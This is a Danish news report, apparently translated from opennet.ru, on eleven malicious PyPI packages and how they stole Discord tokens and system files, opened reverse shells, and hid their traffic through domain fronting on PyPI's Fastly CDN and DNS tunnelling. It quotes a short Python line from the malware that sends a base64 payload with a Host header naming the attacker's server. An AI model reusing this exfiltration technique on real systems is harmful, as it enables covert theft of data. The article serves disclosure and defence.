Ondsindede biblioteker er blevet identificeret i PyPI-kataloget, der bruger PyPI CDN til at skjule kommunikationskanalen

I PyPI-biblioteket (Python Package Index) blev 11 pakker, der indeholdt ondsindet kode, identificeret. Inden problemer blev identificeret, var pakkerne blevet downloadet omkring 38 tusind gange i alt. De opdagede ondsindede pakker er bemærkelsesværdige for deres brug af sofistikerede metoder til at skjule kommunikationskanaler med angribernes servere.

  • importantpackage (6305 downloads), important-package (12897) - etablerede en forbindelse til en ekstern server under dække af at oprette forbindelse til pypi.python.org for at give shell-adgang til systemet (omvendt shell) og brugte trevorc2-programmet til at skjule kommunikationskanal.
  • pptest (10001), ipboards (946) - brugte DNS som en kommunikationskanal til at overføre information om systemet (i den første pakke værtsnavnet, arbejdsbiblioteket, intern og ekstern IP, i den anden - brugernavnet og værtsnavnet) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identificerede Discord-tjenestetokenet i systemet og sendte det til en ekstern vært.
  • trrfab (287) - sendte identifikatoren, værtsnavnet og indholdet af /etc/passwd, /etc/hosts, /home til den eksterne vært.
  • 10Cent10 (490) - etableret en omvendt shell-forbindelse med en ekstern vært.
  • yandex-yt (4183) - viste en meddelelse om, at systemet blev kompromitteret og omdirigeret til en side med yderligere oplysninger om yderligere handlinger udstedt gennem nda.ya.ru (api.ya.cc).

Særligt bemærkelsesværdigt er metoden til at få adgang til eksterne værter, der bruges i pakkerne vigtig pakke og vigtig pakke, som brugte Fastly-indholdsleveringsnetværket, der blev brugt i PyPI-biblioteket til at skjule deres aktivitet. Faktisk blev anmodninger sendt til pypi.python.org-serveren (inklusive angivelse af navnet python.org i SNI inde i HTTPS-anmodningen), men HTTP "Host"-headeren indeholdt navnet på den server, der kontrolleres af angriberne (sek. forward.io. global.prod.fastly.net). Indholdsleveringsnetværket sendte en lignende anmodning til den angribende server ved at bruge parametrene for TLS-forbindelsen til pypi.python.org ved overførsel af data.

PyPI-infrastrukturen er drevet af Fastly-indholdsleveringsnetværket, som bruger den transparente Varnish-proxy til at cache typiske anmodninger, og som også bruger TLS-certifikatbehandling på CDN-niveau i stedet for på slutserverne til at videresende HTTPS-anmodninger gennem en proxy. Uanset målværten sendes anmodninger til proxyen, som bestemmer den ønskede vært ved hjælp af HTTP "Host"-headeren, og værtsdomænenavnene er bundet til CDN load balancer-IP-adresserne, som er typiske for alle Fastly-klienter.

Angribernes server registreres også hos CDN Fastly, som giver gratis planer til alle og endda tillader anonym registrering. Det er bemærkelsesværdigt, at for at sende anmodninger til offeret, når der oprettes en "omvendt shell", bruges en ordning også, men initieret fra siden af ​​angriberens vært. Udefra ser interaktion med angriberens server ud som en legitim session med PyPI-biblioteket, krypteret ved hjælp af et PyPI TLS-certifikat. En lignende teknik, kendt som "domænefronting", blev tidligere aktivt brugt til at skjule værtsnavnet, når blokering blev omgået, ved at bruge muligheden i nogle CDN-netværk til at få adgang til HTTPS ved at angive en fiktiv vært i SNI'et og faktisk sende navnet på anmodet vært i HTTP Host-headeren i en TLS-session.

Ondsindede biblioteker er blevet identificeret i PyPI-kataloget, der bruger PyPI CDN til at skjule kommunikationskanalen

For at skjule ondsindet aktivitet blev TrevorC2-pakken desuden brugt til at lave interaktion med serveren svarende til almindelig webnavigation, for eksempel blev ondsindede anmodninger sendt under dække af at downloade billedet "https://pypi.python.org/images/ guid=" med informationskodning i guideparameter. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Pakkerne pptest og ipboards brugte en anden tilgang til at skjule netværksaktivitet, baseret på kodning af nyttig information i forespørgsler til DNS-serveren. Malwaren transmitterer information ved at udføre DNS-anmodninger som "nu4timjagq4fimbuhe.example.com", hvor de data, der sendes til kontrolserveren, kodes ved hjælp af base64-formatet i underdomænenavnet. Angriberen modtager disse meddelelser ved at kontrollere DNS-serveren for domænet example.com.

Kilde: opennet.ru

Tilføj en kommentar